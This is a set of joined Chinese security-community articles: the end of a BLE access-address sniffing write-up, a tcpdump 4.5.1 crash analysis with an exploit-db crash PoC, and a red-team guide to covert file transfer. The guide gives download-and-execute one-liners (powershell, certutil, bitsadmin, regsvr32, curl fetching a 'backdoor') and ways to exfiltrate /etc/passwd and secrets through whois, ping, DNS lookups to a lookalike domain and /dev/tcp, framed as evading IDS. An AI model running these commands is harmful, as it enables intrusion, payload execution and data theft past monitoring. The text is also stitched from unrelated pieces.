0xFF（后面会详细解释有噪声的情况如何处理）。所以这里我们把 0x00 0xAA 配置为待匹配的 address 字段。当然 0xFF 0xAA 作为
address 字段也行，但实际验证发现 0x00 0xAA 效果最好。注意将 address 字段配置成 0x00 0x00 0xAA 等形式均没有
0x00 0xAA 好。因为 0xAA 前有一个 0x00 的可能性肯定比有两个 0x00 的可能性更大，可能性越大就越容易匹配到合适的 address
字段（这里与 access address 等同）。
> 对于接收方而言，空中有无数据取决于信号强度。参考 reference 3 可知 BLE 的 sensitivity level 为 -70 dBm。
一旦 nRF51822 的匹配工作被 noise 触发，并最终与 0x00 0xAA 同步（如果在 0xAA 前出现了一个 0x00
那么我们便幸运的同步了），可能的 access address 就会被存入 RAM。
> Noise 一定会包含可以触发 nRF51822 匹配工作的 0、1 序列。比如若存在 BLE 连接，空中就会出现 0xAA 或
> 0x55（noise）。该序列出现后，radio 外设就开始匹配 0x00 0xAA，最终可能在下一个 BLE LL packet 中匹配到 0x00
> 0xAA，于是后续的 access address 便被存入 RAM。
## 处理 Noise 并从 RAM 中提取 Access Address
### 理想情况：不需要移位
理想情况意味着 radio packet address 字段的 base 与 prefix 间没有噪声，而且空中 BLE LL packet 的
preamble 与我们 radio 使用的 0xAA prefix 相同。此时 RAM 中存 储的数据如下：
+--------------------+
| BASE | PREFIX |
|------|-------------| nRF51822 radio packet
| 0x00 | 0xAA |
+--------------------+--------------------------------+-----------------------+
| S0 | LENGTH | S1 | PAYLOAD | STATIC |
Radio packet in RAM |------|--------|------|---------|-----------------------|
| None | None | None | None | 10 Bytes |
+-------------+--------------------------------+-----------------------+
| Preamble | | Access Addr | ... ... |
|-------------| BLE LL packet |-------------|---------|
...0 0 | 0xAA | | 4 Bytes | 6 Bytes |
+-------------+ +-----------------------+
此时 RAM 中数据的前 4 个字节就是候选的 access address。
### 理想情况：整体右移 1 bit
BLE LL packet 的 preamble 除了为 0xAA（access address 的 LSBit 为 0），还可能为 0x55（access
address 的 LSBit 为 1）。若此时 base 与 prefix 间没有噪声则， RAM 中 存储的数据如下：
LSB MSB
+---------------------------------+
| BASE | PREFIX |
|------|--------------------------| nRF51822 radio packet
| 0x00 | 0 1 0 1 0 1 0 1 (0xAA) |
+---------------------------------+--------------------------------+--------------------------------------+
| S0 | LENGTH | S1 | PAYLOAD | STATIC |
Radio packet in RAM |------|--------|------|---------|--------------------------------------|
| None | None | None | None | 10 Bytes |
+--------------------------+--------------------------------+--------------------------------------+
| | Preamble without MSB | | Preamble MSB | Access Addr | ... ... |
|--------------------------| BLE LL packet |--------------|-------------|---------|
...0 0 | 0 | 1 0 1 0 1 0 1 | | 0 (0x55) | 4 Bytes | 47 bits |
+--------------------------+ +--------------------------------------+
LSB MSB LSB MSB
此时 RAM 中的 radio packet 会多出一个来自 preamble 0x55 的 MSBit。且这个 preamble MSBit 占用了
RAM 中 radio packet 的 LSBit。所以我们在这种情况下提取 access address 时需要将 RAM 中的 radio
packet 整体右移一位，从而去掉 preamble MSBit。之后，RAM 中 radio packet 的前 4 个 bytes 就是候选的
access address。
### 不理想的情况：需要且仅需要右移 2 bits
由于 noise 的存在，radio packet address 字段的 base 与 prefix 可能并不连续。比如，base 0x00 与
prefix 0xAA 间出现了一个噪音 0 1，此时，nRF51822 在匹配 address 的时候可能发生如下情况：
LSB MSB
+------------------------------------+
| BASE | PREFIX |
|------|-----------------------------| nRF51822 radio packet
| 0x00 | 0 1 0 1 0 1 0 1 (0xAA) |
+------------------------------------+--------------------------------+---------------------------------------+
| S0 | LENGTH | S1 | PAYLOAD | STATIC |
Radio packet in RAM |------|--------|------|---------|---------------------------------------|
| None | None | None | None | 10 Bytes |
+-----------------------------+--------------------------------+---------------------------------------+
| | Preamble without MSBs | | Preamble MSBs | Access Addr | ... ... |
|-----------------------------| BLE LL packet |---------------|-------------|---------|
...0 0 | 0 1 | 0 1 0 1 0 1 | | 0 1 (0xAA) | 4 Bytes | 46 bits |
+-----------------------------+ +---------------------------------------+
LSB MSB LSB MSB
在这种情况下 BLE LL packet 的 0xAA preamble 会有两个 bits 进入到 RAM 中。因此我们需要将 RAM 中的 radio
packet 整体右移 2 bits，来剔除它们。之后 RAM 中 radio packet 的前 4 bytes 就为候选的 access
address。
### 不需要右移更多的 bits
Radio packet address 字段的 base 与 prefix 之间除了 0 1 噪声，还能可能存在很多其他的噪声，比如 0 1 0 1：
LSB MSB
+----------------------------------------+
| BASE | PREFIX |
|------|---------------------------------| nRF51822 radio packet
| 0x00 | 0 1 0 1 0 1 0 1 (0xAA) |
+----------------------------------------+--------------------------------+----------------------------------------+
| S0 | LENGTH | S1 | PAYLOAD | STATIC |
radio packet in RAM |------|--------|------|---------|----------------------------------------|
| None | None | None | None | 10 Bytes |
+---------------------------------+--------------------------------+----------------------------------------+
| | Preamble without MSBs | | Preamble MSBs | Access Addr | ... ... |
|---------------------------------| BLE LL packet |----------------|-------------|---------|
...0 0 | 0 1 0 1 | 0 1 0 1 | | 0 1 0 1 (0xAA) | 4 Bytes | 46 bits |
+---------------------------------+ +----------------------------------------+
LSB MSB LSB MSB
不过这种情况发生的概率较低，最多为 1/8 * 0.1，不值得我们占用 Cortex-M0 来右移 4 位做进一步处理（后续会对这种情况做进一步解释）。
> 概率数据参考 reference 4。
另外，若 base 与 prefix 之间的噪声为奇数个 bits（>= 3），匹配窗口会自动帮我们处理：
* 若在 …0 0 与 0 1 0 1 0 1 0 1 之间加入噪声后，无法从头匹配 address（类似 high-low toggling），则匹配窗口会自动忽略它们直到匹配到新的 address。
* 若在 …0 0 与 0 1 0 1 0 1 0 1 之间加入噪声后可以从头匹配 address，则会回归到偶数个噪声 bits 的情况。证明如下：令噪声导致的奇数个比特从 LSB 到 MSB 组成了名为 noise_bits 的 list。为了匹配 address（再次说明类似 high-low toggling），则必须有 noise_bits[0] == 1 and noise_bits[-1] == 1。由于 noise_bits[0] 为 1 时，与 base 中的 MSB 0 再次组成了 high-low toggling（address 的一部分），所以此时 address 将永远不可能从 noise_bits[0] 开始匹配，而会从 …0 0 序列的 MSB 开始匹配，及 noise_bits[0] 匹配了 address 的倒数第二低的 bit。于是噪声 bits 数被加 1。又奇数加 1 必定成为偶数。所以证明了原命题。
## 使用 BLE LL Data Channel Empty PDU 过滤候选的 Access Address
有两个我们不能忽视的问题：
* 若真的在 base …0 0 与 prefix 0 1 0 1 0 1 0 1 之间出现了，(0 1)… 这种较小概率噪声怎么办？
* 噪声除了在 base 与 prefix 之间出现，还可能在 prefix 中间以及 access address 或 BLE LL data channel PDU 中出现。这种情况又怎么处理。
如果噪声在 prefix 中间出现，且导致无法匹配 address，nRF51822 将抛弃这些数据并尝试与新的空中数据匹配 address 字段 0x00
0xAA。如果噪声在 prefix 中出现，且正好从头匹配了 address，那么又回到了偶数个噪声 bits 出现在 base 与 prefix
之间的情况。对于 (0 1)… 这种小概率噪声，以及出现在 radio packet paylaod 中的噪声，我们通过判断除去 access
address 的 payload 是否为 BLE LL data channel empty PDU 来确定 access address
的有效性。如果是，那么就认为 access address 是有效的。反之，则 access address 无效。可以下判断的原因是，加入 noise
后的 payload 还能正好组成完整的 empty PDU 是一个极小概率事件。
## 情形一
+--------------+-------+-----------------------+
| Noise | Noise | BASE (1 B) | PREFIX |
|--------------|-------|------------|----------| nRF51822 On-air packet layout
| 0xAA or 0x55 | 'x' | 0x00 | 0xAA |
+--------------+-------+-----------------------+--------------------------------+-------------------------------------------+
| S0 | LENGTH | S1 | PAYLOAD | STATIC |
Radio packet in RAM |------|--------|------|---------|-------------------------------------------|
| None | None | None | None | 10 Bytes |
+----------+--------------------------------+-------------------------------------------+
| Preamble | | Access Addr | PDU Header | Payload | CRC |
BLE LL packet |----------| |--------------|------------|---------|-----|
| 0xAA | | 4 Bytes | 2 Bytes | None | 3 B |
+----------+ +-------------------------------------------+
## References
1. Promiscuity is the nRF24L01+’s Duty
2. nRF24L01+ Single Chip 2.4GHz Transceiver Product Specification v1.0, 7.3.7 Automatic packet disassembly
3. BLUETOOTH SPECIFICATION Version 4.2, [Vol 6, Part A] page 19, 4 RECEIVER CHARACTERISTICS
4. BLUETOOTH SPECIFICATION Version 4.2, [Vol 6, Part A] page 19, 4.1 ACTUAL SENSITIVITY LEVEL
5. DEF CON 25 – Damien Cauquil – Weaponizing the BBC Micro Bit
6. DEF CON 26 – Damien virtualabs Cauquil – You had better secure your BLE devices
7. virtualabs/btlejack-firmware
8. virtualabs/btlejack | 社区文章 |
# tcpdump 4.5.1 crash 深入分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
在看[WHEREISK0SHL](https://whereisk0shl.top/post/2016-10-23-1)大牛的博客，其分析了`tcpdump4.5.1
crash`
的原因。跟着做了一下，发现他的可执行程序是经过`stripped`的，而且整个过程看的比较懵，所以自己重新实现了一下，并从源码的角度分析了该`crash`形成的原因。
## 构建环境
kali 2.0
apt install gcc gdb libpcap-dev -y
wget https://www.exploit-db.com/apps/973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz
./configure
make
未修复版本
root@kali32:~# tcpdump --version
tcpdump version 4.5.1
libpcap version 1.8.1
payload(来自exploit-db)
# Exploit Title: tcpdump 4.5.1 Access Violation Crash
# Date: 31st May 2016
# Exploit Author: David Silveiro
# Vendor Homepage: http://www.tcpdump.org
# Software Link: http://www.tcpdump.org/release/tcpdump-4.5.1.tar.gz
# Version: 4.5.1
# Tested on: Ubuntu 14 LTS
from subprocess import call
from shlex import split
from time import sleep
def crash():
command = 'tcpdump -r crash'
buffer = 'xd4xc3xb2xa1x02x00x04x00x00x00x00xf5xff'
buffer += 'x00x00x00Ix00x00x00xe6x00x00x00x00x80x00'
buffer += 'x00x00x00x00x00x08x00x00x00x00<x9c7@xffx00'
buffer += 'x06xa0rx7fx00x00x01x7fx00x00xecx00x01xe0x1a'
buffer += "x00x17g+++++++x85xc9x03x00x00x00x10xa0&x80x18'"
buffer += "xfe$x00x01x00x00@x0cx04x02x08n', 'x00x00x00x00"
buffer += 'x00x00x00x00x01x03x03x04'
with open('crash', 'w+b') as file:
file.write(buffer)
try:
call(split(command))
print("Exploit successful! ")
except:
print("Error: Something has gone wrong!")
def main():
print("Author: David Silveiro ")
print(" tcpdump version 4.5.1 Access Violation Crash ")
sleep(2)
crash()
if __name__ == "__main__":
main()
执行效果
执行顺序
print_packet
|
|-->ieee802_15_4_if_print
|
|-->hex_and_asciii_print(ndo_default_print)
|
|-->hex_and_ascii_print_with_offset
直接顺着源代码撸就行
> git clone https://github.com/the-tcpdump-group/tcpdump
> git tag
...
tcpdump-4.4.0
tcpdump-4.5.0
tcpdump-4.5.1
tcpdump-4.6.0
tcpdump-4.6.0-bp
tcpdump-4.6.1
tcpdump-4.7.0-bp
tcpdump-4.7.2
...
> git checkout tcpdump-4.5.1
`tcpdump.c`找到`pcap_loop`调用
do {
status = pcap_loop(pd, cnt, callback, pcap_userdata);
if (WFileName == NULL) {
/*
* We're printing packets. Flush the printed output,
* so it doesn't get intermingled with error output.
*/
if (status == -2) {
/*
* We got interrupted, so perhaps we didn't
* manage to finish a line we were printing.
* Print an extra newline, just in case.
*/
putchar('n');
}
(void)fflush(stdout);
}
问题出在调用`pcap_loop`的`callback`函数中。根据源码`callback`函数指向
callback = print_packet;
函数`print_packet`
static void
print_packet(u_char *user, const struct pcap_pkthdr *h, const u_char *sp)
{
struct print_info *print_info;
u_int hdrlen;
++packets_captured;
++infodelay;
ts_print(&h->ts);
print_info = (struct print_info *)user;
/*
* Some printers want to check that they're not walking off the
* end of the packet.
* Rather than pass it all the way down, we set this global.
*/
snapend = sp + h->caplen;
if(print_info->ndo_type) {
hdrlen = (*print_info->p.ndo_printer)(print_info->ndo, h, sp);<====
} else {
hdrlen = (*print_info->p.printer)(h, sp);
}
...
putchar('n');
--infodelay;
if (infoprint)
info(0);
}
其中`(*print_info->p.ndo_printer)(print_info->ndo, h,
sp)`指向`ieee802_15_4_if_print`
函数`ieee802_15_4_if_print`
u_int
ieee802_15_4_if_print(struct netdissect_options *ndo,
const struct pcap_pkthdr *h, const u_char *p)
{
u_int caplen = h->caplen;
int hdrlen;
u_int16_t fc;
u_int8_t seq;
if (caplen < 3) {
ND_PRINT((ndo, "[|802.15.4] %x", caplen));
return caplen;
}
fc = EXTRACT_LE_16BITS(p);
hdrlen = extract_header_length(fc);
seq = EXTRACT_LE_8BITS(p + 2);
p += 3;
caplen -= 3;
ND_PRINT((ndo,"IEEE 802.15.4 %s packet ", ftypes[fc & 0x7]));
if (vflag)
ND_PRINT((ndo,"seq %02x ", seq));
if (hdrlen == -1) {
ND_PRINT((ndo,"malformed! "));
return caplen;
}
if (!vflag) {
p+= hdrlen;
caplen -= hdrlen; <====== 引起错误位置
} else {
...
caplen -= hdrlen;
}
if (!suppress_default_print)
(ndo->ndo_default_print)(ndo, p, caplen);
return 0;
}
跟踪进入
>
> `libpcap`在处理不正常包时不严谨，导致包的头长度`hdrlen`竟然大于捕获包长度`caplen`，并且在处理时又没有相关的判断，这里后续再翻看一下源码。
`hdrlen`和`caplen`都是非负整数，导致`caplen==0xfffffff3`过长。继续跟进`hex_and_asciii_print(ndo_default_print)`
void
hex_and_ascii_print(register const char *ident, register const u_char *cp,
register u_int length)
{
hex_and_ascii_print_with_offset(ident, cp, length, 0);
}
其中`length==0xfffffff3`继续
void
hex_print_with_offset(register const char *ident, register const u_char *cp, register u_int length,
register u_int oset)
{
register u_int i, s;
register int nshorts;
nshorts = (u_int) length / sizeof(u_short);
i = 0;
while (--nshorts >= 0) {
if ((i++ % 8) == 0) {
(void)printf("%s0x%04x: ", ident, oset);
oset += HEXDUMP_BYTES_PER_LINE;
}
s = *cp++; <======= 抛出错误位置
(void)printf(" %02x%02x", s, *cp++);
}
if (length & 1) {
if ((i % 8) == 0)
(void)printf("%s0x%04x: ", ident, oset);
(void)printf(" %02x", *cp);
}
}
`nshorts=(u_int) length / sizeof(u_short)` =>
`nshorts=0xfffffff3/2=7FFFFFF9`
但数据包数据没有这么长，导致了`crash`。感觉这个bug跟`libpcap`和`tcpdump`都有关系，再来看看修复情况。
## 修复测试
修复版本
root@kali32:~# tcpdump --version
tcpdump version 4.7.0-PRE-GIT_2018_11_19
libpcap version 1.8.1
`libpcap`依然是`apt`安装的默认版本，`tcpdump`使用`4.7 .0-bp`版本
git checkout tcpdump-4.7.0-bp
测试一下
gdb-peda$ run -r crash
Starting program: /usr/local/sbin/tcpdump -r crash
reading from file crash, link-type IEEE802_15_4_NOFCS (IEEE 802.15.4 without FCS)
04:06:08.000000 IEEE 802.15.4 Beacon packet
tcpdump: pcap_loop: invalid packet capture length 385882848, bigger than maximum of 262144
[Inferior 1 (process 8997) exited with code 01]
在`pcap_loop`中发现数据包长度过长，发生了错误并输出错误提示。
这里有一个比较难理解的地方，两个测试版本`libpcap`是相同的，那么对应的`pcap_loop`也就是一样的，为什么一个版本`pcap_loop`出错了，而另一个则没有。为了找到这出这个疑问，我连续用了一周的时间去测试。
依然顺着这个结构走一遍
print_packet
|
|-->ieee802_15_4_if_print
|
|-->hex_and_asciii_print(ndo_default_print)
|
|-->hex_and_ascii_print_with_offset
比较`print_packet`两个版本的区别
`snapend`原本是利用一个变量存放，这里存放在了结构体`ndo`里，表示数据包最后一个数据位置。
跟进`ieee802_15_4_if_print`，首先看一下版本比较
可以看到没有比较大的变化，主要就是将一些标志位放在了`ndo`结构体中。
执行结果
可以看到目前的结果和`4.5.1`版本中是一样的。
继续跟进`hex_and_ascii_print_with_offset`，首先查看一下版本比较
代码一开始就增加了一个`caplength`的判断
caplength = (ndo->ndo_snapend >= cp) ? ndo->ndo_snapend - cp : 0;
if (length > caplength)
length = caplength;
nshorts = length / sizeof(u_short);
i = 0;
hsp = hexstuff; asp = asciistuff;
while (--nshorts >= 0) {
...
}
增加了这个判断，即可修复该错误。
可以看到执行完`caplength = (ndo->ndo_snapend >= cp) ? ndo->ndo_snapend - cp :
0;`，`caplength`为0，继续执行，可以推出`length`同样为0，到这里已经不会发生错误了。
## 跟踪错误输出
其实细心一点，还可以发现修复完后，会输出不一样的处理信息
reading from file crash, link-type IEEE802_15_4_NOFCS (IEEE 802.15.4 without FCS)
04:06:08.000000 IEEE 802.15.4 Beacon packet
tcpdump: pcap_loop: invalid packet capture length 385882848, bigger than maximum of 262144
[Inferior 1 (process 8997) exited with code 01]
该错误信息是通过`pcap_loop`输出的，在`libpcap`定位一下该错误处理，可以发现其在`pcap_next_packet`函数中
static int
pcap_next_packet(pcap_t *p, struct pcap_pkthdr *hdr, u_char **data)
{
...
if (hdr->caplen > p->bufsize) {
/*
* This can happen due to Solaris 2.3 systems tripping
* over the BUFMOD problem and not setting the snapshot
* correctly in the savefile header.
* This can also happen with a corrupted savefile or a
* savefile built/modified by a fuzz tester.
* If the caplen isn't grossly wrong, try to salvage.
*/
size_t bytes_to_discard;
size_t bytes_to_read, bytes_read;
char discard_buf[4096];
if (hdr->caplen > MAXIMUM_SNAPLEN) { <===== 判断是否超过最大值
pcap_snprintf(p->errbuf, PCAP_ERRBUF_SIZE,
"invalid packet capture length %u, bigger than "
"maximum of %u", hdr->caplen, MAXIMUM_SNAPLEN);
return (-1);
}
...
还是那个问题，都是同样的`libpcap`版本，`4.7.0`输出的是`pcap_next_packet`中的错误信息，但是`4.5.1`却直接访问异常了？
经过不停的测试，我是这么理解的：
`4.7.0`中对长度进行了判断，导致不合规的`length`没有被处理，从而导致`pcap_loop`中又重新进行了一次`pcap_next_packet`
pcap_loop
|
|--> pcap_next_packet => 第一次在hex_and_ascii_print_with_offset中length为0
|
|--> pcap_next_packet => 第二次hdr->caplen > MAXIMUM_SNAPLEN
执行测试
确定IDA映射地址
`pcap_loop`函数会调用`pcap_read_offline`(具体可查看`libpcap`源码)，在`pcap_read_offline`函数中
.text:B7F99BC7 push edi
.text:B7F99BC8 push [esp+58h+var_40]
.text:B7F99BCC mov eax, [esp+5Ch+var_44]
.text:B7F99BD0 call eax ; callback(调用print_packet)
.text:B7F99BD2 add esp, 10h
...
.text:B7F99BED push [esp+50h+var_48]
.text:B7F99BF1 push edi
.text:B7F99BF2 push ebp
.text:B7F99BF3 call dword ptr [ebp+4] ; 调用pcap_next_packet
.text:B7F99BF6 add esp, 10h
.text:B7F99BF9 test eax, eax
.text:B7F99BFB jnz short loc_B7F99C30
.text:B7F99BFD mov edx, [ebp+8Ch]
.text:B7F99C03 mov eax, [esp+4Ch+var_34]
.text:B7F99C07 test edx, edx
.text:B7F99C09 jz short loc_B7F99BC0
.text:B7F99C0B push [esp+4Ch+var_28] ; u_int
.text:B7F99C0F push [esp+50h+var_24] ; u_int
.text:B7F99C13 push eax ; u_char *
.text:B7F99C14 push edx ; struct bpf_insn *
.text:B7F99C15 call _bpf_filter
比较重要的函数有`callback`和`pcap_next_packet`，在`pcap_next_packet`设置断点
第一次到断点
执行查看返回值
对照ida
可以看到返回0，会执行一遍`callback`，即打印函数。之后会因为`length=0`结束
第二次`pcap_next_packet`
跟进去 以确定`caplen`具体的值，并确认判断条件(这里无论是分析`libpcap`源码，还是ida伪码都可以)，查看ida伪码
signed int __cdecl pcap_next_packet_B7F9A050(int a1, unsigned int *a2, _DWORD *a3)
{
...
unsigned int v33; // [esp+Ch] [ebp-1040h]
unsigned int v34; // [esp+14h] [ebp-1038h]
unsigned int v35; // [esp+18h] [ebp-1034h]
size_t n; // [esp+1Ch] [ebp-1030h]
unsigned int v37; // [esp+20h] [ebp-102Ch]
char ptr; // [esp+2Ch] [ebp-1020h]
unsigned int v39; // [esp+102Ch] [ebp-20h]
v3 = a2;
v4 = *(a1 + 36);
v5 = *(a1 + 44);
v39 = __readgsdword(0x14u);
stream = v5;
/*
v34是一个结构体
str_v34 {
u_int_t v34;
u_int_t v35;
size_t n; // caplen
u_int_t v37;
}
*/
v6 = __fread_chk(&v34, 24, 1, *v4, v5); //这里下断点查看n的值
if ( *v4 == v6 )
{
caplen = n;
v8 = v37;
v9 = v35;
v33 = v34;
if ( *(a1 + 40) )
{
caplen = _byteswap_ulong(n);
v21 = _byteswap_ulong(v37);
v22 = _byteswap_ulong(v35);
a2[2] = caplen;
a2[3] = v21;
a2[1] = v22;
*a2 = _byteswap_ulong(v33);
v10 = v4[2];
if ( v10 != 1 )
{
LABEL_4:
if ( v10 == 2 )
a2[1] = a2[1] / 1000;
v11 = v4[1];
if ( v11 != 1 )
{
LABEL_7:
if ( v11 != 2 || (v23 = a2[3], v23 >= caplen) )
{
LABEL_8:
bufsize = *(a1 + 16);
if ( bufsize >= caplen )
{
if ( a2[2] == fread(*(a1 + 20), 1u, caplen, stream) )
{
LABEL_30:
v26 = *(a1 + 20);
result = *(a1 + 40);
*a3 = v26;
if ( result )
{
sub_B7F9C580(*(a1 + 68), v3, v26);
result = 0;
}
goto LABEL_27;
}
v27 = a1 + 144;
if ( ferror(stream) )
{
v28 = __errno_location();
v29 = pcap_strerror(*v28);
__snprintf_chk(v27, 256, 1, 257, "error reading dump file: %s", v29);
}
else
{
__snprintf_chk(
v27,
256,
1,
257,
"truncated dump file; tried to read %u captured bytes, only got %lu",
a2[2]);
}
}
else if ( caplen > 0x40000 ) // 下断点，执行判断
{
__snprintf_chk(
a1 + 144,
256,
1,
257,
"invalid packet capture length %u, bigger than maximum of %u",
caplen);
}
...
查看`n`
在比较处下断点，测试是否大于最大值`0x40000`
大于最大值，会将错误信息返回`pcap_loop`
至此整个过程分析完毕，包括具体的出错原因，修补代码都做了详细分析
## 参考
[exploit-db payload](https://www.exploit-db.com/exploits/39875/)
[WHEREISK0SHL分析博客](https://whereisk0shl.top/post/2016-10-23-1)
[libpcap/tcpdump源码](https://github.com/the-tcpdump-group) | 社区文章 |
**作者：xax007@知道创宇404 ScanV安全服务团队
作者博客：<https://xax007.github.io/>**
在红队渗透测试当中往往需要最大化利用当前的环境绕过重兵防守的系统的防火墙、IDS、IPS等报警和监控系统进行文件传输，本文列出了多种利用操作系统默认自带的工具进行文件传输的方法。
## 搭建 HTTP server
### Python
python2:
python -m SimpleHTTPServer 1337
以上命令会在当前目录启动 HTTP 服务，端口为 1337
python3:
python -m http.server 1337
以上命令会在当前目录启动 HTTP 服务，端口为 1337
### PHP 5.4+
当 PHP 版本大于 5.4 是，可使用 PHP 在当前目录启动 HTTP 服务，端口为 1337
php -S 0.0.0.0:1337
### Ruby
下面的命令会在当前目录下启动 HTTP 服务，端口为 1337
ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 1337, :DocumentRoot => Dir.pwd).start'
### Ruby 1.9.2+
ruby -run -e httpd . -p 1337
### Perl
perl -MHTTP::Server::Brick -e '$s=HTTP::Server::Brick->new(port=>1337); $s->mount("/"=>{path=>"."}); $s->start'
perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 +? "./$1 |" : $1) if /^GET \/(.*) / })'
Thanks to: http://stackoverflow.com/questions/8058793/single-line-python-webserver
### busybox httpd
busybox httpd -f -p 8000
本条来自:[lvm](https://gist.github.com/willurd/5720255#comment-841915)
## Download files from HTTP server
以下列出了在 Windows 和 Linux 系统下使用系统自带工具从 HTTP Server 下载文件的几种方法
### Windows
#### powershell
下载并执行:
powershell (new-object System.Net.WebClient).DownloadFile('http://1.2.3.4/5.exe','c:\download\a.exe');start-process 'c:\download\a.exe'
#### certutil
下载并执行:
certutil -urlcache -split -f http://1.2.3.4/5.exe c:\download\a.exe&&c:\download\a.exe
#### bitsadmin
下载并执行:
bitsadmin /transfer n http://1.2.3.4/5.exe c:\download\a.exe && c:\download\a.exe
bitsadmin 的下载速度比较慢
#### regsvr32
regsvr32 /u /s /i:http://1.2.3.4/5.exe scrobj.dll
### Linux
#### Curl
curl http://1.2.3.4/backdoor
#### Wget
wget http://1.2.3.4/backdoor
#### awk
在使用 awk 进行下载文件时，首先使用以上列出的任意一条命令启动一个 HTTP Server
awk 'BEGIN {
RS = ORS = "\r\n"
HTTPCon = "/inet/tcp/0/127.0.0.1/1337"
print "GET /secret.txt HTTP/1.1\r\nConnection: close\r\n" |& HTTPCon
while (HTTPCon |& getline > 0)
print $0
close(HTTPCon)
}'
效果：
## Setup HTTP PUT server
以下列出了上传文件到 HTTP Server 的几种方法
### 使用 Nginx 搭建 HTTP PUT Server
mkdir -p /var/www/upload/ # 创建目录
chown www-data:www-data /var/www/upload/ # 修改目录所属用户和组
cd /etc/nginx/sites-available # 进入 nginx 虚拟主机目录
# 写入配置到 file_upload 文件
cat <<EOF > file_upload
server {
listen 8001 default_server;
server_name kali;
location / {
root /var/www/upload;
dav_methods PUT;
}
}
EOF
# 写入完毕
cd ../sites-enable # 进入 nginx 虚拟主机启动目录
ln -s /etc/nginx/sites-available/file_upload file_upload # 启用 file_upload 虚拟主机
systemctl start nginx # 启动 Nginx
### 使用 Python 搭建 HTTP PUT Server
以下代码保存到 `HTTPutServer.py` 文件里:
# ref: https://www.snip2code.com/Snippet/905666/Python-HTTP-PUT-test-server
import sys
import signal
from threading import Thread
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
class PUTHandler(BaseHTTPRequestHandler):
def do_PUT(self):
length = int(self.headers['Content-Length'])
content = self.rfile.read(length)
self.send_response(200)
with open(self.path[1:], "w") as f:
f.write(content)
def run_on(port):
print("Starting a HTTP PUT Server on {0} port {1} (http://{0}:{1}) ...".format(sys.argv[1], port))
server_address = (sys.argv[1], port)
httpd = HTTPServer(server_address, PUTHandler)
httpd.serve_forever()
if __name__ == "__main__":
if len(sys.argv) < 3:
print("Usage:\n\tpython {0} ip 1337".format(sys.argv[0]))
sys.exit(1)
ports = [int(arg) for arg in sys.argv[2:]]
try:
for port_number in ports:
server = Thread(target=run_on, args=[port_number])
server.daemon = True # Do not make us wait for you to exit
server.start()
signal.pause() # Wait for interrupt signal, e.g. KeyboardInterrupt
except KeyboardInterrupt:
print "\nPython HTTP PUT Server Stoped."
sys.exit(1)
运行方法:
$ python HTTPutServer.py 10.10.10.100 1337
Starting a HTTP PUT Server on 10.10.10.100 port 1337 (http://10.10.10.100:1337) ...
## 上传文件到 HTTP PUT server
### Linux
#### Curl
$ curl --upload-file secret.txt http://ip:port/
#### Wget
$ wget --method=PUT --post-file=secret.txt http://ip:port/
### Windows
#### Powershell
$body = Get-Content secret.txt
Invoke-RestMethod -Uri http://ip:port/secret.txt -Method PUT -Body $body
## 使用 Bash /dev/tcp 进行文件传输
首先需要监听端口
文件接收端:
nc -lvnp 1337 > secret.txt
文件发送端:
cat secret.txt > /dev/tcp/ip/port
## 使用 SMB 协议进行文件传输
### 搭建简易 SMB Server
搭建简易SMB Server 需要用到 [Impacket](https://github.com/SecureAuthCorp/impacket) 项目的
`smbserver.py` 文件
`Impacket` 已默认安装在 Kali Linux 系统中
**syntax:** `impacker-smbserver ShareName SharePath`
$ mkdir smb # 创建 smb 目录
$ cd smb # 进入 smb目录
$ impacket-smbserver share `pwd` # 在当前目录启动 SMB server，共享名称为 share
效果：
#### 从 SMB server 下载文件
copy \\IP\ShareName\file.exe file.exe
#### 上传文件到 SMB server
net use x: \\IP\ShareName
copy file.txt x:
net use x: /delete
### 使用 whois 命令进行文件传输
/etc/passwd
Host A
Host B
接收端 Host B：
nc -vlnp 1337 | sed "s/ //g" | base64 -d
发送端 Host A：
whois -h 127.0.0.1 -p 1337 `cat /etc/passwd | base64`
效果：
### 使用 ping 命令进行文件传输
secret.txt
Sender
Reciver
发送端:
xxd -p -c 4 secret.txt | while read line; do ping -c 1 -p $line ip; done
接收端:
以下代码保存到 `ping_receiver.py`
import sys
try:
from scapy.all import *
except:
print("Scapy not found, please install scapy: pip install scapy")
sys.exit(0)
def process_packet(pkt):
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 8:
data = pkt[ICMP].load[-4:]
print(f'{data.decode("utf-8")}', flush=True, end="", sep="")
sniff(iface="eth0", prn=process_packet)
执行方法:
python3 ping_receiver.py
效果
### 使用 dig 命令进行文件传输
/etc/passwd
Sender
Reciver
发送端:
xxd -p -c 31 /etc/passwd | while read line; do dig @172.16.1.100 +short +tries=1 +time=1 $line.gooogle.com; done
接收端:
以下代码使用了 python 的 `scapy` 模块，需要手动安装
代码保存到 `dns_reciver.py` 文件中
try:
from scapy.all import *
except:
print("Scapy not found, please install scapy: pip install scapy")
def process_packet(pkt):
if pkt.haslayer(DNS):
domain = pkt[DNS][DNSQR].qname.decode('utf-8')
root_domain = domain.split('.')[1]
if root_domain.startswith('gooogle'):
print(f'{bytearray.fromhex(domain[:-13]).decode("utf-8")}', flush=True, end='')
sniff(iface="eth0", prn=process_packet)
运行方法:
python3 dns_reciver.py
效果：
## 使用 NetCat 进行文件传输
1.txt
A:10.10.10.100
B:10.10.10.200
接受端:
nc -l -p 1337 > 1.txt
发送端：
cat 1.txt | nc -l -p 1337
或者
nc 10.10.10.200 1337 < 1.txt
在极端环境下，如果接受端没有 nc 可以使用 Bash 的 /dev/tcp 接收文件:
cat < /dev/tcp/10.10.10.200/1337 > 1.txt
## 参考链接
* Ippsec’s [HackTheBox - Mischief](https://www.youtube.com/watch?v=GKo6xoB1g4Q&t=2430s) Video
* [Micropoor](https://paper.seebug.org/820/)
* [Simple Local HTTP Server With Ruby](http://sweetme.at/2013/08/28/simple-local-http-server-with-ruby/)
* [Big list of http static server one liners](https://gist.github.com/willurd/5720255)
* [渗透技巧——从github下载文件的多种方法](https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E4%BB%8Egithub%E4%B8%8B%E8%BD%BD%E6%96%87%E4%BB%B6%E7%9A%84%E5%A4%9A%E7%A7%8D%E6%96%B9%E6%B3%95/)
* * * | 社区文章 |
**作者：Rico @腾讯安全云鼎实验室
